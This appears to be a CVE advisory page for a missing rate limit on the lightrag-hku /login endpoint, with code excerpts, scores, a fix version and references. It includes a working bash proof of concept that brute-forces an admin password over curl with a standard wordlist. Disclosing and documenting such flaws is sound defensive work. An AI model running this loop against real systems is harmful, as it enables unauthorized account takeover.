CVE-2026-85734 — Vulnerability in lightrag-hku — CVE Details
lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.61%). Schedule for your next planned update.
Does your project use an affected lightrag-hku version?
Paste your requirements.txt to check it for CVE-2026-85734 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.
Details
# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
if not auth_handler.verify_password(username, form_data.password):
raise HTTPException(status_code=401, detail="Incorrect credentials")
# No: rate limit / lockout / backoff / CAPTCHA / attempt counter
A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.
PoC
# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST http://<TARGET>:9621/login \
-d "username=admin&password=${pass}")
[ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt
Impact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
Advisory Timeline
- First published September 22, 2026 (65 days ago).
- Last revised October 1, 2026 — 9 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "lightrag-hku>=1.5.5"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| lightrag-hku PyPI · Affected: 0.0.2, 0.0.3, 0.0.4, 0.0.5 (+85 more) | 1.5.5 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-307
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
References
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xxWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-85734ADVISORY
- https://github.com/HKUDS/LightRAG/pull/3424WEB
- https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54WEB
- https://github.com/HKUDS/LightRAGPACKAGE
- https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5WEB
Frequently Asked Questions
- What is CVE-2026-85734?
- lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
- How do I check if my project is affected by CVE-2026-85734?
- CVE-2026-85734 affects lightrag-hku. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-85734 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 43.3% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-61736CRITICAL
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
- CVE-2026-61740CRITICAL
LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection
- CVE-2026-61736CRITICAL
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
- CVE-2026-77359CRITICAL
Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
- CVE-2026-61740CRITICAL
LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection
- CVE-2026-77312CRITICAL
Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)